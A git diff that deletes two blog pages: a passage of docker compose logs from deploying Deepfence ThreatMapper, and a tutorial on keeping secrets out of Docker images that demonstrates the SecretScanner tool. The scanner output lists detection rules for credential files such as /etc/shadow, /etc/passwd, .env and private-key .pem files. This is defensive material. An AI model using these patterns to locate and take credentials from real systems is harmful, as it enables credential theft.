-    ee30d1e46960 Pull complete                                                                                                       18.1s
-    cbdf55152882 Pull complete                                                                                                       20.7s
-    02145a3d08dc Pull complete                                                                                                       24.4s
-    3b43024e0402 Pull complete                                                                                                       25.5s
-    000a421a9381 Pull complete                                                                                                       25.8s
-    273e2d14a316 Pull complete                                                                                                       26.1s
-    35f2174af386 Pull complete                                                                                                       52.7s
-    3bf6d37d02af Pull complete                                                                                                       53.2s
-    2ebf2edf21e9 Pull complete                                                                                                       53.7s
-    70ecf58c4679 Pull complete                                                                                                       54.1s
-  deepfence-package-scanner Pulled                                                                                                    8.8s
-    51dd59142225 Pull complete                                                                                                        4.0s
-    afd427f95343 Pull complete                                                                                                        5.2s
-    ad4b784c8601 Pull complete                                                                                                        7.5s
-  deepfence-backend Pulled                                                                                                           48.2s
-  deepfence-console-agent Pulled                                                                                                     46.4s
-    e0c9ebf1f052 Pull complete                                                                                                       25.5s
-    9341ad80650d Pull complete                                                                                                       26.0s
-    b6a94e577185 Pull complete                                                                                                       26.9s
-    f2f4f6c497c7 Pull complete                                                                                                       27.4s
-    83dc6dff4d1f Pull complete                                                                                                       27.8s
-    2c66b377cc17 Pull complete                                                                                                       28.1s
-    ae95bb3e76fc Pull complete                                                                                                       29.9s
-    58edf371ef84 Pull complete                                                                                                       30.5s
-    b5b91601778a Pull complete                                                                                                       30.9s
-    e7ca0b813b35 Pull complete                                                                                                       31.4s
-    bac5f99ed5ff Pull complete                                                                                                       32.2s
-    0b03b6c6e703 Pull complete                                                                                                       32.7s
-    00ef62c6beae Pull complete                                                                                                       33.1s
-    2317941b432c Pull complete                                                                                                       33.4s
-    c78d4ef87429 Pull complete                                                                                                       33.8s
-    52d6b999791e Pull complete                                                                                                       37.0s
-    3c66ae264813 Pull complete                                                                                                       40.4s
-    fa91d8140bb4 Pull complete                                                                                                       44.0s
-    415ec3af8b5c Pull complete                                                                                                       45.0s
-  deepfence-diagnosis Pulled                                                                                                          9.3s
-    d8089fb41a4e Pull complete                                                                                                        7.2s
-    761247dc597b Pull complete                                                                                                        7.9s
-  deepfence-vulnerability-mapper Pulled                                                                                               9.0s
-    9621f1afde84 Pull complete                                                                                                        4.8s
-    d2f87f45af97 Pull complete                                                                                                        5.8s
-    0df38fc1dcc4 Pull complete                                                                                                        5.8s
-    5ce3bac9b38d Pull complete                                                                                                        6.0s
-    b8a17e0751b8 Pull complete                                                                                                        7.7s
-  deepfence-redis Pulled                                                                                                             20.4s
-    192e03523482 Pull complete                                                                                                       14.1s
-    7151bccd2756 Pull complete                                                                                                       14.9s
-    e599fac432b2 Pull complete                                                                                                       16.0s
-    720d86c10923 Pull complete                                                                                                       16.5s
-    40911e48517b Pull complete                                                                                                       16.9s
-    115eb662e680 Pull complete                                                                                                       17.3s
-    31b9b283aa20 Pull complete                                                                                                       17.9s
-    b748b52207f7 Pull complete                                                                                                       18.3s
-    5b0f449535b8 Pull complete                                                                                                       18.9s
-  deepfence-api Pulled                                                                                                               48.3s
-    31b3f1ad4ce1 Pull complete                                                                                                        1.8s
-    f335cc1597f2 Pull complete                                                                                                        2.0s
-    0375df124bb5 Pull complete                                                                                                        2.6s
-    90a356bcda5b Pull complete                                                                                                        2.7s
-    c82e0170c13b Pull complete                                                                                                        2.9s
-    38dc58c5f029 Pull complete                                                                                                        3.0s
-    0189a7ca7a09 Pull complete                                                                                                       40.8s
-    8d069dc99fe4 Pull complete                                                                                                       45.2s
-    50e62824984f Pull complete                                                                                                       45.6s
-    c12613b81b5c Pull complete                                                                                                       45.8s
-    c8901960f9b5 Pull complete                                                                                                       45.9s
-    a5981c5eb3db Pull complete                                                                                                       46.3s
-    860d4f2e0b1a Pull complete                                                                                                       46.8s
-    8a3f7b35b548 Pull complete                                                                                                       47.0s
-    37c02a7c1188 Pull complete                                                                                                       47.4s
-  deepfence-celery Pulled                                                                                                            48.2s
-  deepfence-postgres Pulled                                                                                                          28.2s
-    7902437d3a12 Pull complete                                                                                                       10.9s
-    709e2267bc98 Pull complete                                                                                                       11.5s
-    10c5a0a9c34e Pull complete                                                                                                       21.4s
-    b46af7f38693 Pull complete                                                                                                       22.4s
-    65aa0c237f80 Pull complete                                                                                                       23.3s
-    f6493ce74812 Pull complete                                                                                                       24.0s
-    eaac3b44f9d0 Pull complete                                                                                                       24.5s
-    3b6db84bcdcc Pull complete                                                                                                       25.1s
-    120ba5542ffd Pull complete                                                                                                       25.5s
-    9fd0e93acee4 Pull complete                                                                                                       25.8s
-    257465d6d91b Pull complete                                                                                                       26.1s
-    568fad078a9c Pull complete                                                                                                       26.5s
-  deepfence-init-container Pulled                                                                                                    14.8s
-    2ad0d7925a78 Pull complete                                                                                                       12.6s
-    3e00d8e06113 Pull complete                                                                                                       13.2s
-  deepfence-es Pulled                                                                                                                41.1s
-    4e9f2cdf4387 Pull complete                                                                                                       15.3s
-    2e70516637d4 Pull complete                                                                                                       37.1s
-    ba468cc9ce22 Pull complete                                                                                                       37.6s
-    a2c864bf08ba Pull complete                                                                                                       38.1s
-    7869dc55514f Pull complete                                                                                                       38.8s
-    6320c0eaee7c Pull complete                                                                                                       39.5s
-[+] Running 133/133al-router Pulled                                                                                                    5.1s
-  deepfence-ui Pulled                                                                                                                55.9s
-    ee30d1e46960 Pull complete                                                                                                       18.1s
-    cbdf55152882 Pull complete                                                                                                       20.7s
-    02145a3d08dc Pull complete                                                                                                       24.4s
-    3b43024e0402 Pull complete                                                                                                       25.5s
-    000a421a9381 Pull complete                                                                                                       25.8s
-    273e2d14a316 Pull complete                                                                                                       26.1s
-    35f2174af386 Pull complete                                                                                                       52.7s
-    3bf6d37d02af Pull complete                                                                                                       53.2s
-    2ebf2edf21e9 Pull complete                                                                                                       53.7s
-    70ecf58c4679 Pull complete                                                                                                       54.1s
-  deepfence-package-scanner Pulled                                                                                                    8.8s
-    51dd59142225 Pull complete                                                                                                        4.0s
-    afd427f95343 Pull complete                                                                                                        5.2s
-    ad4b784c8601 Pull complete                                                                                                        7.5s
-  deepfence-backend Pulled                                                                                                           48.2s
-  deepfence-console-agent Pulled                                                                                                     46.4s
-    e0c9ebf1f052 Pull complete                                                                                                       25.5s
-    9341ad80650d Pull complete                                                                                                       26.0s
-    b6a94e577185 Pull complete                                                                                                       26.9s
-    f2f4f6c497c7 Pull complete                                                                                                       27.4s
-    83dc6dff4d1f Pull complete                                                                                                       27.8s
-    2c66b377cc17 Pull complete                                                                                                       28.1s
-    ae95bb3e76fc Pull complete                                                                                                       29.9s
-    58edf371ef84 Pull complete                                                                                                       30.5s
-    b5b91601778a Pull complete                                                                                                       30.9s
-    e7ca0b813b35 Pull complete                                                                                                       31.4s
-    bac5f99ed5ff Pull complete                                                                                                       32.2s
-    0b03b6c6e703 Pull complete                                                                                                       32.7s
-    00ef62c6beae Pull complete                                                                                                       33.1s
-    2317941b432c Pull complete                                                                                                       33.4s
-    c78d4ef87429 Pull complete                                                                                                       33.8s
-    52d6b999791e Pull complete                                                                                                       37.0s
-    3c66ae264813 Pull complete                                                                                                       40.4s
-    fa91d8140bb4 Pull complete                                                                                                       44.0s
-    415ec3af8b5c Pull complete                                                                                                       45.0s
-  deepfence-diagnosis Pulled                                                                                                          9.3s
-    d8089fb41a4e Pull complete                                                                                                        7.2s
-    761247dc597b Pull complete                                                                                                        7.9s
-  deepfence-vulnerability-mapper Pulled                                                                                               9.0s
-    9621f1afde84 Pull complete                                                                                                        4.8s
-    d2f87f45af97 Pull complete                                                                                                        5.8s
-    0df38fc1dcc4 Pull complete                                                                                                        5.8s
-    5ce3bac9b38d Pull complete                                                                                                        6.0s
-    b8a17e0751b8 Pull complete                                                                                                        7.7s
-  deepfence-redis Pulled                                                                                                             20.4s
-    192e03523482 Pull complete                                                                                                       14.1s
-    7151bccd2756 Pull complete                                                                                                       14.9s
-    e599fac432b2 Pull complete                                                                                                       16.0s
-    720d86c10923 Pull complete                                                                                                       16.5s
-    40911e48517b Pull complete                                                                                                       16.9s
-    115eb662e680 Pull complete                                                                                                       17.3s
-    31b9b283aa20 Pull complete                                                                                                       17.9s
-    b748b52207f7 Pull complete                                                                                                       18.3s
-    5b0f449535b8 Pull complete                                                                                                       18.9s
-  deepfence-api Pulled                                                                                                               48.3s
-    31b3f1ad4ce1 Pull complete                                                                                                        1.8s
-    f335cc1597f2 Pull complete                                                                                                        2.0s
-    0375df124bb5 Pull complete                                                                                                        2.6s
-    90a356bcda5b Pull complete                                                                                                        2.7s
-    c82e0170c13b Pull complete                                                                                                        2.9s
-    38dc58c5f029 Pull complete                                                                                                        3.0s
-    0189a7ca7a09 Pull complete                                                                                                       40.8s
-    8d069dc99fe4 Pull complete                                                                                                       45.2s
-    50e62824984f Pull complete                                                                                                       45.6s
-    c12613b81b5c Pull complete                                                                                                       45.8s
-    c8901960f9b5 Pull complete                                                                                                       45.9s
-    a5981c5eb3db Pull complete                                                                                                       46.3s
-    860d4f2e0b1a Pull complete                                                                                                       46.8s
-    8a3f7b35b548 Pull complete                                                                                                       47.0s
-    37c02a7c1188 Pull complete                                                                                                       47.4s
-  deepfence-celery Pulled                                                                                                            48.2s
-  deepfence-postgres Pulled                                                                                                          28.2s
-    7902437d3a12 Pull complete                                                                                                       10.9s
-    709e2267bc98 Pull complete                                                                                                       11.5s
-    10c5a0a9c34e Pull complete                                                                                                       21.4s
-    b46af7f38693 Pull complete                                                                                                       22.4s
-    65aa0c237f80 Pull complete                                                                                                       23.3s
-    f6493ce74812 Pull complete                                                                                                       24.0s
-    eaac3b44f9d0 Pull complete                                                                                                       24.5s
-    3b6db84bcdcc Pull complete                                                                                                       25.1s
-    120ba5542ffd Pull complete                                                                                                       25.5s
-    9fd0e93acee4 Pull complete                                                                                                       25.8s
-    257465d6d91b Pull complete                                                                                                       26.1s
-    568fad078a9c Pull complete                                                                                                       26.5s
-  deepfence-init-container Pulled                                                                                                    14.8s
-    2ad0d7925a78 Pull complete                                                                                                       12.6s
-    3e00d8e06113 Pull complete                                                                                                       13.2s
-  deepfence-es Pulled                                                                                                                41.1s
-    4e9f2cdf4387 Pull complete                                                                                                       15.3s
-    2e70516637d4 Pull complete                                                                                                       37.1s
-    ba468cc9ce22 Pull complete                                                                                                       37.6s
-    a2c864bf08ba Pull complete                                                                                                       38.1s
-    7869dc55514f Pull complete                                                                                                       38.8s
-    6320c0eaee7c Pull complete                                                                                                       39.5s
-  deepfence-internal-router Pulled                                                                                                    5.1s
-  deepfence-secret-scanner Pulled                                                                                                    43.2s
-    c963e9db8328 Pull complete                                                                                                       34.6s
-    7f20bc208900 Pull complete                                                                                                       35.0s
-    a11f9e68c7c1 Pull complete                                                                                                       36.3s
-    bac7f7e29d55 Pull complete                                                                                                       36.5s
-    a34450f81e53 Pull complete                                                                                                       37.2s
-    8dc83348f20e Pull complete                                                                                                       41.0s
-    1789eac203f6 Pull complete                                                                                                       41.6s
-  deepfence-fetcher Pulled                                                                                                           44.4s
-    59bf1c3509f3 Pull complete                                                                                                       22.1s
-    7f019d2ddd3b Pull complete                                                                                                       23.2s
-    d365c5dd6d5a Pull complete                                                                                                       23.7s
-    86b2e2904ff3 Pull complete                                                                                                       24.2s
-    9e8d01c5b686 Pull complete                                                                                                       42.5s
-  deepfence-router Pulled                                                                                                             5.1s
-    df9b9388f04a Pull complete                                                                                                        1.8s
-    7c1ae225ee09 Pull complete                                                                                                        1.9s
-    d67475b58d2b Pull complete                                                                                                        2.5s
-    403f08e781eb Pull complete                                                                                                        2.6s
-    452f212a53d1 Pull complete                                                                                                        2.8s
-    437cebde658b Pull complete                                                                                                        2.8s
-    7c9ad45672b2 Pull complete                                                                                                        2.9s
-    7d72372a1383 Pull complete                                                                                                        3.1s
-    d6bb5a9a1f12 Pull complete                                                                                                        3.2s
-    7cf149b1a854 Pull complete                                                                                                        3.3s
-    b6e2429d9e38 Pull complete                                                                                                        3.3s
-    92dcd490ec00 Pull complete                                                                                                        3.4s
-    617b7a99eac3 Pull complete                                                                                                        3.5s
-    259e00ee3450 Pull complete                                                                                                        3.6s
-    83bec234123b Pull complete                                                                                                        3.7s
-    928a4d3b5efe Pull complete                                                                                                        3.8s
-  deepfence-topology Pulled                                                                                                          34.0s
-    a0d0a0d46f8b Pull complete                                                                                                       16.0s
-    127cfa2b873d Pull complete                                                                                                       16.6s
-    15a88de45267 Pull complete                                                                                                       30.3s
-    35233bb75987 Pull complete                                                                                                       32.0s
-    8133cfb2a953 Pull complete                                                                                                       32.4s
-[+] Running 19/19
-  Network ubuntu_deepfence_net              Created                                                                                   0.3s
-  Volume "ubuntu_deepfence_data"            Created                                                                                   0.0s
-  Container deepfence-postgres              Started                                                                                  16.5s
-  Container deepfence-secret-scanner        Started                                                                                  18.4s
-  Container deepfence-vulnerability-mapper  Started                                                                                  17.3s
-  Container deepfence-diagnosis             Started                                                                                  17.5s
-  Container deepfence-package-scanner       Started                                                                                  17.7s
-  Container deepfence-console-agent         Started                                                                                  16.0s
-  Container deepfence-es-master             Started                                                                                  17.1s
-  Container df-init-container               Started                                                                                  16.0s
-  Container deepfence-topology              Started                                                                                  17.3s
-  Container deepfence-router                Started                                                                                  18.4s
-  Container deepfence-internal-router       Started                                                                                  17.5s
-  Container deepfence-redis                 Started                                                                                   2.3s
-  Container deepfence-ui                    Started                                                                                   2.8s
-  Container deepfence-fetcher               Started                                                                                   2.4s
-  Container deepfence-celery                Started                                                                                   3.5s
-  Container deepfence-api                   Started                                                                                   3.4s
-  Container deepfence-backend               Started                                                                                   3.1s
-

check all running docker containers

-

-docker ps
-CONTAINER ID   IMAGE                                                 COMMAND                  CREATED              STATUS              PORTS                                                                      NAMES
-4514ee6713ac   deepfenceio/deepfence_api_ce:1.4.1                    "/app/code/dockerify…"   About a minute ago   Up About a minute                                                                              deepfence-api
-1ba3ffed69da   deepfenceio/deepfence_api_ce:1.4.1                    "/app/code/dockerify…"   About a minute ago   Up About a minute                                                                              deepfence-backend
-8bab0ec9f33c   deepfenceio/deepfence_api_ce:1.4.1                    "/app/code/dockerify…"   About a minute ago   Up About a minute                                                                              deepfence-celery
-22656ac2f42e   deepfenceio/deepfence_fetcher_ce:1.4.1                "/usr/bin/start_fetc…"   About a minute ago   Up About a minute   8006/tcp                                                                   deepfence-fetcher
-53e90c2fb2ee   deepfenceio/deepfence_ui_ce:1.4.1                     "/home/deepfence/ent…"   About a minute ago   Up About a minute                                                                              deepfence-ui
-ef95a5d836af   deepfenceio/deepfence_redis_ce:1.4.1                  "/usr/local/bin/star…"   About a minute ago   Up About a minute   6379/tcp                                                                   deepfence-redis
-41861a1a902d   deepfenceio/deepfence_elastic_ce:1.4.1                "/usr/bin/startEs.sh…"   About a minute ago   Up About a minute   127.0.0.1:9200->9200/tcp, 127.0.0.1:9300->9300/tcp                         deepfence-es-master
-d7f746d048f1   deepfenceio/deepfence_router_ce:1.4.1                 "docker-entrypoint.s…"   About a minute ago   Up About a minute   0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp   deepfence-router
-c3e6524325b1   deepfenceio/deepfence_vulnerability_mapper_ce:1.4.1   "/entrypoint.sh"         About a minute ago   Up About a minute   8001/tcp                                                                   deepfence-vulnerability-mapper
-4331c9eeb50f   deepfenceio/deepfence_router_ce:1.4.1                 "docker-entrypoint.s…"   About a minute ago   Up About a minute   127.0.0.1:8443->443/tcp                                                    deepfence-internal-router
-16fae4515f45   deepfenceio/deepfence_diagnosis_ce:1.4.1              "/home/diagnosis"        About a minute ago   Up About a minute                                                                              deepfence-diagnosis
-515a139b6c8f   deepfenceio/deepfence_agent_ce:1.4.1                  "/usr/local/bin/star…"   About a minute ago   Up About a minute                                                                              deepfence-console-agent
-10ac5757f982   deepfenceio/deepfence_postgres_ce:1.4.1               "docker-entrypoint.s…"   About a minute ago   Up About a minute   5432/tcp                                                                   deepfence-postgres
-50621d650d96   deepfenceio/deepfence_package_scanner_ce:1.4.1        "/usr/local/bin/pack…"   About a minute ago   Up About a minute   8002/tcp, 8005/tcp                                                         deepfence-package-scanner
-0e96086bc3d0   deepfenceio/deepfence_discovery_ce:1.4.1              "/home/deepfence/ent…"   About a minute ago   Up About a minute   127.0.0.1:8004->8004/tcp                                                   deepfence-topology
-bda5019a336a   deepfenceio/deepfence_secret_scanner_ce:1.4.1         "/home/deepfence/usr…"   About a minute ago   Up About a minute                                                                              deepfence-secret-scanner
-

access threatmapper console using AWS instance public IP

-

54.152.156.120 (in your case check your EC2 instance public IP )

-

-

-

next part of this you will find here you can do the same deployment using Kubernetes or Helm

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/secretscanner-finding-secrets-and-passwords-in-container-images-and-file-systems/index.html b/public/containersecurity/secretscanner-finding-secrets-and-passwords-in-container-images-and-file-systems/index.html deleted file mode 100644 index 21b3a24..0000000 --- a/public/containersecurity/secretscanner-finding-secrets-and-passwords-in-container-images-and-file-systems/index.html +++ /dev/null @@ -1,908 +0,0 @@ - - - - - - - - -SecretScanner - Finding secrets and passwords in container images and file systems · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

SecretScanner - Finding secrets and passwords in container images and file systems

-
-
- - -

Published on CloudNativeFolks

-

One of most common mistake is leaking Secrets via docker images or file system in this blogpost we will use Deepfence’s Open Source Project SecretScanner

-

few days back I found this interesting tweet discussion from cybersecurity community members !

- -

here you see article around Uber security incidence

-

%[https://www.uber.com/newsroom/security-update/]

-

lets understand why secret scanner help you securing your container images and file system

-

If you see DockerHub most of images and public and thousands of secrets leaked over the year

-

If you see of of example from past supply chain attack one of docker image Codecov contain git credentials that allow attacker to gain access to price Codecov’s private git repositories and committed backdoors by attacker to there product and later that effected to 22000 Codecov’s users

-

lets write insecure.DockerFile

-
FROM python:3.9-slim
-ENV DATABASE_PASSWORD "SuperSecret"
-

Don’t Store Secrets in Images

-

Secrets are sensitive pieces of information such as passwords, database credentials, SSH keys, tokens, and TLS certificates, to name a few. These should not be baked into your images without being encrypted since unauthorized users who gain access to the image can merely examine the layers to extract the secrets.

-

Instead, they should be injected via:

-
    -
  • -

    Environment variables (at run-time)

    -
  • -
  • -

    Build-time arguments (at build-time)

    -
  • -
  • -

    An orchestration tool like Docker Swarm (via Docker secrets) or Kubernetes (via Kubernetes secrets)

    -
  • -
  • -

    Also, you can help prevent leaking secrets by adding common secret files and folders to your .dockerignore file:

    -
  • -
-
**/.env
-**/.aws
-**/.ssh
-

be explicit about what files are getting copied over to the image rather than copying all files recursively:

-
# BAD
-COPY . .
-
-# GOOD
-copy ./app.py .
-

Environment Variables

-

You can pass secrets via environment variables, but they will be visible in all child processes, linked containers, and logs, as well as via docker inspect. It’s also difficult to update them.

-
$ docker run --detach --env "DATABASE_PASSWORD=SuperSecret" python:3.9-slim
-
-d92cf5cf870eb0fdbf03c666e7fcf18f9664314b79ad58bc7618ea3445e39239
-
-
-$ docker inspect --format='{{range .Config.Env}}{{println .}}{{end}}' d92cf5cf870eb0fdbf03c666e7fcf18f9664314b79ad58bc7618ea3445e39239
-
-DATABASE_PASSWORD=SuperSecret
-PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-LANG=C.UTF-8
-GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
-PYTHON_VERSION=3.9.7
-PYTHON_PIP_VERSION=21.2.4
-PYTHON_SETUPTOOLS_VERSION=57.5.0
-PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/c20b0cfd643cd4a19246ccf204e2997af70f6b21/public/get-pip.py
-PYTHON_GET_PIP_SHA256=fa6f3fb93cce234cd4e8dd2beb54a51ab9c247653b52855a48dd44e6b21ff28b
-

Build-time Arguments

-

-docker build --build-arg "DATABASE_PASSWORD=SuperSecret" .
-

rather then build time arguments you can use Multi-stage build so docker history will be ignored . The multi-stage build only retains the history for the final image. Keep in mind that you can use this functionality for permanent secrets that you need for your application, like a database credential.

-

You can also use the –secret option in Docker build to pass secrets to Docker images that do not get stored in the images.

-

refer create secret doc [https://docs.docker.com/engine/reference/commandline/secret_create/ ] ```

-

“docker” > secrets.txt

-

FROM alpine

-

shows secret from default secret location:

-

RUN –mount=type=secret,id=mysecret cat /run/secrets/mysecret

-
This will mount the secret from the secrets.txt file.
-

docker build –no-cache –progress=plain –secret id=mysecret,src=secrets.txt .

-

output

-

… #4 [1/2] FROM docker.io/library/alpine #4 sha256:665ba8b2cdc0cb0200e2a42a6b3c0f8f684089f4cd1b81494fbb9805879120f7 #4 CACHED

-

#5 [2/2] RUN –mount=type=secret,id=mysecret cat /run/secrets/mysecret #5 sha256:75601a522ebe80ada66dedd9dd86772ca932d30d7e1b11bba94c04aa55c237de #5 0.635 docker #5 DONE 0.7s

-

exporting to image

-
lets see the leaked secret
-

❯ docker history 49574a19241c IMAGE CREATED CREATED BY SIZE COMMENT 49574a19241c 5 minutes ago CMD \["/bin/sh"\] 0B buildkit.dockerfile.v0 5 minutes ago RUN /bin/sh -c cat /run/secrets/mysecret # b… 0B buildkit.dockerfile.v0 4 weeks ago /bin/sh -c #(nop) CMD \["/bin/sh"\] 0B 4 weeks ago /bin/sh -c #(nop) ADD file:aad4290d27580cc1a… 5.6MB

-

but most modern way to scan docker images and file system you can use open source tool secretscanner that make developer life easy to detect leaked secretes

-

pull latest secretscanner image

-

-docker pull deepfenceio/deepfence_secret_scanner:latest
-

Pull docker image that you want to scan

-
docker pull node:8.11
-

Hund Secrets

-
docker run -it --rm --name=deepfence-secretscanner -v $(pwd):/home/deepfence/output -v /var/run/docker.sock:/var/run/docker.sock deepfenceio/deepfence_secret_scanner:latest -image-name node:8.11
-

output

-
Scanning image /tmp/Deepfence/SecretScanning/df_node811/save-output.tar for secrets...
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 85,
-      "Matched Rule Name": "Potential Linux passwd file",
-      "Matched Part": "path",
-      "String to Match": "",
-      "Signature to Match": "etc/passwd$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 10,
-      "Full File Name": "etc/passwd",
-      "Matched Contents": "etc/passwd"
-    },
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 69,
-      "Matched Rule Name": "Shell profile configuration file",
-      "Matched Part": "filename",
-      "String to Match": "",
-      "Signature to Match": "^\\.?(bash_|zsh_)?profile$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 7,
-      "Full File Name": "etc/profile",
-      "Matched Contents": "profile"
-    },
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 84,
-      "Matched Rule Name": "Potential Linux shadow file",
-      "Matched Part": "path",
-      "String to Match": "",
-      "Signature to Match": "etc/shadow$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 10,
-      "Full File Name": "etc/shadow",
-      "Matched Contents": "etc/shadow"
-    },
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 68,
-      "Matched Rule Name": "Shell configuration file",
-      "Matched Part": "filename",
-      "String to Match": "",
-      "Signature to Match": "^\\.?(bash|zsh|csh)rc$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 7,
-      "Full File Name": "etc/skel/.bashrc",
-      "Matched Contents": ".bashrc"
-    },
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 69,
-      "Matched Rule Name": "Shell profile configuration file",
-      "Matched Part": "filename",
-      "String to Match": "",
-      "Signature to Match": "^\\.?(bash_|zsh_)?profile$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 8,
-      "Full File Name": "etc/skel/.profile",
-      "Matched Contents": ".profile"
-    },
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 68,
-      "Matched Rule Name": "Shell configuration file",
-      "Matched Part": "filename",
-      "String to Match": "",
-      "Signature to Match": "^\\.?(bash|zsh|csh)rc$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 7,
-      "Full File Name": "root/.bashrc",
-      "Matched Contents": ".bashrc"
-    },
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 69,
-      "Matched Rule Name": "Shell profile configuration file",
-      "Matched Part": "filename",
-      "String to Match": "",
-      "Signature to Match": "^\\.?(bash_|zsh_)?profile$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 8,
-      "Full File Name": "root/.profile",
-      "Matched Contents": ".profile"
-    },
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 88,
-      "Matched Rule Name": "Environment configuration file",
-      "Matched Part": "filename",
-      "String to Match": "",
-      "Signature to Match": "^\\.?env$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 3,
-      "Full File Name": "usr/bin/env",
-      "Matched Contents": "env"
-    },
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 69,
-      "Matched Rule Name": "Shell profile configuration file",
-      "Matched Part": "filename",
-      "String to Match": "",
-      "Signature to Match": "^\\.?(bash_|zsh_)?profile$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 7,
-      "Full File Name": "usr/share/base-files/profile",
-      "Matched Contents": "profile"
-    },
-    {
-      "Image Layer ID": "23d81b1ef111d5b6cec4559da8d7ad53f9ce5314134c9a232ecbb050b0269f76",
-      "Matched Rule ID": 69,
-      "Matched Rule Name": "Shell profile configuration file",
-      "Matched Part": "filename",
-      "String to Match": "",
-      "Signature to Match": "^\\.?(bash_|zsh_)?profile$",
-      "Severity": "medium",
-      "Severity Score": 5.00,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 7,
-      "Full File Name": "usr/share/doc/adduser/examples/adduser.local.conf.examples/profile",
-      "Matched Contents": "profile"
-    },
-    {
-      "Image Layer ID": "45475acd15f3bb8a3b04367eda1a2553d6b18d95723eb51737bc9d9a24227336",
-      "Matched Rule ID": 0,
-      "Matched Rule Name": "Potential cryptographic private key",
-      "Matched Part": "extension",
-      "String to Match": ".pem",
-      "Signature to Match": "",
-      "Severity": "low",
-      "Severity Score": 2.50,
-      "Starting Index of Match in Original Content": 0,
-      "Relative Starting Index of Match in Displayed Substring": 0,
-      "Relative Ending Index of Match in Displayed Substring": 4,
-      "Full File Name": "etc/ssl/certs/ACCVRAIZ1.pem",
-      "Matched Contents": ".pem"
-    }
-

if you see about scan report its provide Image Layer ID and Matched Rule Name that describe about type of secret its detect also its provide "Severity": "type", "Severity Score": 2.50, with "Matched Contents": "<contenttype">

-

use .dockerignore file

-

What should you add to the .dockerignore file?

-
    -
  • -

    Temporary files and folders

    -
  • -
  • -

    Build logs

    -
  • -
  • -

    Local secrets

    -
  • -
  • -

    Local development files like docker-compose.yml

    -
  • -
  • -

    Version control folders like “.git”, “.hg”, and “.svn” Example:

    -
  • -
-
**/.git
-**/.gitignore
-**/.vscode
-**/coverage
-**/.env
-**/.aws
-**/.ssh
-Dockerfile
-README.md
-docker-compose.yml
-**/.DS_Store
-**/venv
-**/env
-

Check it out SecretScanner and support this project by giving gitstar !

-

Readme Card

- -
